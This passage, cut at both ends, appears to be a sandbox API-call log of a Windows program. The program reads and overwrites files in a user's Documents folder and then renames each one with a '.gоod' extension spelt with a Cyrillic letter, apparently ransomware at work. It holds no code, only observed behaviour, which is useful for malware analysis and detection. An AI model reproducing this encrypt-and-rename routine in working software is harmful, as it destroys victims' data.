ftLastWriteTime.dwHighDateTime=0x1d4cc13, nFileSizeHigh=0x0, nFileSizeLow=0x3185, dwReserved0=0x0, dwReserved1=0x0, cFileName="Twg1ZBpM822jcyQLq.rtf", cAlternateFileName="TWG1ZB~1.RTF")) returned 1 [0251.188] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dac4880, ftCreationTime.dwHighDateTime=0x1d4d360, ftLastAccessTime.dwLowDateTime=0xf7f830c0, ftLastAccessTime.dwHighDateTime=0x1d4d0db, ftLastWriteTime.dwLowDateTime=0xf7f830c0, ftLastWriteTime.dwHighDateTime=0x1d4d0db, nFileSizeHigh=0x0, nFileSizeLow=0xf2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="vSIZ313sC6NZHr.pdf", cAlternateFileName="VSIZ31~1.PDF")) returned 1 [0251.188] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dac4880, ftCreationTime.dwHighDateTime=0x1d4d360, ftLastAccessTime.dwLowDateTime=0xf7f830c0, ftLastAccessTime.dwHighDateTime=0x1d4d0db, ftLastWriteTime.dwLowDateTime=0xf7f830c0, ftLastWriteTime.dwHighDateTime=0x1d4d0db, nFileSizeHigh=0x0, nFileSizeLow=0xf2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="vSIZ313sC6NZHr.pdf", cAlternateFileName="VSIZ31~1.PDF")) returned 0 [0251.189] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0251.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedba0) returned 1 [0251.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb60) returned 1 [0251.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv", lpFilePart=0x0) returned 0x2d [0251.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0251.189] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\4scwke7.csv"), fInfoLevelId=0x0, lpFileInformation=0x3a55190 | out: lpFileInformation=0x3a55190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76d4ec20, ftCreationTime.dwHighDateTime=0x1d4ce53, ftLastAccessTime.dwLowDateTime=0xc39a8890, ftLastAccessTime.dwHighDateTime=0x1d4cf8d, ftLastWriteTime.dwLowDateTime=0xc39a8890, ftLastWriteTime.dwHighDateTime=0x1d4cf8d, nFileSizeHigh=0x0, nFileSizeLow=0xf84e)) returned 1 [0251.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0251.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv", lpFilePart=0x0) returned 0x2d [0251.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0251.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\4scwke7.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0251.190] GetFileType (hFile=0x82c) returned 0x1 [0251.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0251.190] GetFileType (hFile=0x82c) returned 0x1 [0251.190] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0251.190] ReadFile (in: hFile=0x82c, lpBuffer=0x3a55538, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x3a55538*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0251.190] CloseHandle (hObject=0x82c) returned 1 [0251.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv", lpFilePart=0x0) returned 0x2d [0251.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0251.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\4scwke7.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0251.190] GetFileType (hFile=0x82c) returned 0x1 [0251.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0251.190] GetFileType (hFile=0x82c) returned 0x1 [0251.190] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0xf84e [0251.190] WriteFile (in: hFile=0x82c, lpBuffer=0x3a56798*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3a56798*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0251.191] CloseHandle (hObject=0x82c) returned 1 [0251.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv", lpFilePart=0x0) returned 0x2d [0251.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0251.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\4scwke7.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0251.191] GetFileType (hFile=0x82c) returned 0x1 [0251.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0251.191] GetFileType (hFile=0x82c) returned 0x1 [0251.191] ReadFile (in: hFile=0x82c, lpBuffer=0x3a58a20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x3a58a20*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0251.596] CloseHandle (hObject=0x82c) returned 1 [0251.596] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv", lpFilePart=0x0) returned 0x2d [0251.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0251.597] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\4scwke7.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0251.597] GetFileType (hFile=0x82c) returned 0x1 [0251.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0251.597] GetFileType (hFile=0x82c) returned 0x1 [0251.597] WriteFile (in: hFile=0x82c, lpBuffer=0x3889e80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x3889e80*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0251.597] CloseHandle (hObject=0x82c) returned 1 [0251.597] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv", lpFilePart=0x0) returned 0x2d [0251.597] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv.gоod", lpFilePart=0x0) returned 0x32 [0251.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0251.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\4scwke7.csv"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76d4ec20, ftCreationTime.dwHighDateTime=0x1d4ce53, ftLastAccessTime.dwLowDateTime=0xc39a8890, ftLastAccessTime.dwHighDateTime=0x1d4cf8d, ftLastWriteTime.dwLowDateTime=0x922cabaf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf85e)) returned 1 [0251.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0251.597] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\4scwke7.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\4SCwke7.csv.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\4scwke7.csv.gоod")) returned 1 [0251.598] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv", lpFilePart=0x0) returned 0x32 [0251.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0251.598] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ejkdicdfebjn.csv"), fInfoLevelId=0x0, lpFileInformation=0x39da008 | out: lpFileInformation=0x39da008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d0f2030, ftCreationTime.dwHighDateTime=0x1d4d593, ftLastAccessTime.dwLowDateTime=0xd378a900, ftLastAccessTime.dwHighDateTime=0x1d4cbe0, ftLastWriteTime.dwLowDateTime=0xd378a900, ftLastWriteTime.dwHighDateTime=0x1d4cbe0, nFileSizeHigh=0x0, nFileSizeLow=0x561e)) returned 1 [0251.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0251.598] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv", lpFilePart=0x0) returned 0x32 [0251.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0251.598] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ejkdicdfebjn.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0251.599] GetFileType (hFile=0x82c) returned 0x1 [0251.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0251.599] GetFileType (hFile=0x82c) returned 0x1 [0251.599] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0251.599] ReadFile (in: hFile=0x82c, lpBuffer=0x39da3e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x39da3e0*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0251.599] CloseHandle (hObject=0x82c) returned 1 [0251.599] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv", lpFilePart=0x0) returned 0x32 [0251.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0251.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ejkdicdfebjn.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0251.599] GetFileType (hFile=0x82c) returned 0x1 [0251.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0251.600] GetFileType (hFile=0x82c) returned 0x1 [0251.600] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x561e [0251.600] WriteFile (in: hFile=0x82c, lpBuffer=0x39db658*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x39db658*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0251.600] CloseHandle (hObject=0x82c) returned 1 [0251.600] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv", lpFilePart=0x0) returned 0x32 [0251.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0251.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ejkdicdfebjn.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0251.600] GetFileType (hFile=0x82c) returned 0x1 [0251.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0251.600] GetFileType (hFile=0x82c) returned 0x1 [0251.600] ReadFile (in: hFile=0x82c, lpBuffer=0x39dd8f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x39dd8f8*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0252.938] CloseHandle (hObject=0x82c) returned 1 [0252.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv", lpFilePart=0x0) returned 0x32 [0252.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0252.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ejkdicdfebjn.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0252.938] GetFileType (hFile=0x82c) returned 0x1 [0252.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0252.938] GetFileType (hFile=0x82c) returned 0x1 [0252.938] WriteFile (in: hFile=0x82c, lpBuffer=0x38bbd00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x38bbd00*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0252.938] CloseHandle (hObject=0x82c) returned 1 [0252.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv", lpFilePart=0x0) returned 0x32 [0252.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv.gоod", lpFilePart=0x0) returned 0x37 [0252.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0252.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ejkdicdfebjn.csv"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d0f2030, ftCreationTime.dwHighDateTime=0x1d4d593, ftLastAccessTime.dwLowDateTime=0xd378a900, ftLastAccessTime.dwHighDateTime=0x1d4cbe0, ftLastWriteTime.dwLowDateTime=0x92f9b501, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x562e)) returned 1 [0252.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0252.939] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ejkdicdfebjn.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\ejkDiCDfEbjN.csv.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ejkdicdfebjn.csv.gоod")) returned 1 [0252.939] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt", lpFilePart=0x0) returned 0x2d [0252.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0252.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ku9lvku.odt"), fInfoLevelId=0x0, lpFileInformation=0x3aa4f30 | out: lpFileInformation=0x3aa4f30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eb7190, ftCreationTime.dwHighDateTime=0x1d4ccbe, ftLastAccessTime.dwLowDateTime=0x16f2de30, ftLastAccessTime.dwHighDateTime=0x1d4ca65, ftLastWriteTime.dwLowDateTime=0x16f2de30, ftLastWriteTime.dwHighDateTime=0x1d4ca65, nFileSizeHigh=0x0, nFileSizeLow=0xe714)) returned 1 [0252.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0252.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt", lpFilePart=0x0) returned 0x2d [0252.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0252.940] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ku9lvku.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0252.940] GetFileType (hFile=0x82c) returned 0x1 [0252.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0252.940] GetFileType (hFile=0x82c) returned 0x1 [0252.940] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0252.940] ReadFile (in: hFile=0x82c, lpBuffer=0x3aa52d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x3aa52d8*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0252.940] CloseHandle (hObject=0x82c) returned 1 [0252.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt", lpFilePart=0x0) returned 0x2d [0252.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0252.940] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ku9lvku.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0252.941] GetFileType (hFile=0x82c) returned 0x1 [0252.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0252.941] GetFileType (hFile=0x82c) returned 0x1 [0252.941] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0xe714 [0252.941] WriteFile (in: hFile=0x82c, lpBuffer=0x3aa6538*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3aa6538*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0252.941] CloseHandle (hObject=0x82c) returned 1 [0252.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt", lpFilePart=0x0) returned 0x2d [0252.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0252.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ku9lvku.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0252.941] GetFileType (hFile=0x82c) returned 0x1 [0252.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0252.941] GetFileType (hFile=0x82c) returned 0x1 [0252.941] ReadFile (in: hFile=0x82c, lpBuffer=0x3aa87c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x3aa87c0*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0253.313] CloseHandle (hObject=0x82c) returned 1 [0253.313] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt", lpFilePart=0x0) returned 0x2d [0253.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0253.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ku9lvku.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0253.313] GetFileType (hFile=0x82c) returned 0x1 [0253.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0253.313] GetFileType (hFile=0x82c) returned 0x1 [0253.313] WriteFile (in: hFile=0x82c, lpBuffer=0x3975380*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x3975380*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0253.314] CloseHandle (hObject=0x82c) returned 1 [0253.360] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt", lpFilePart=0x0) returned 0x2d [0253.360] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt.gоod", lpFilePart=0x0) returned 0x32 [0253.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0253.360] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ku9lvku.odt"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eb7190, ftCreationTime.dwHighDateTime=0x1d4ccbe, ftLastAccessTime.dwLowDateTime=0x16f2de30, ftLastAccessTime.dwHighDateTime=0x1d4ca65, ftLastWriteTime.dwLowDateTime=0x9332edeb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe724)) returned 1 [0253.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0253.361] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\Ku9lVku.odt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\ku9lvku.odt"), 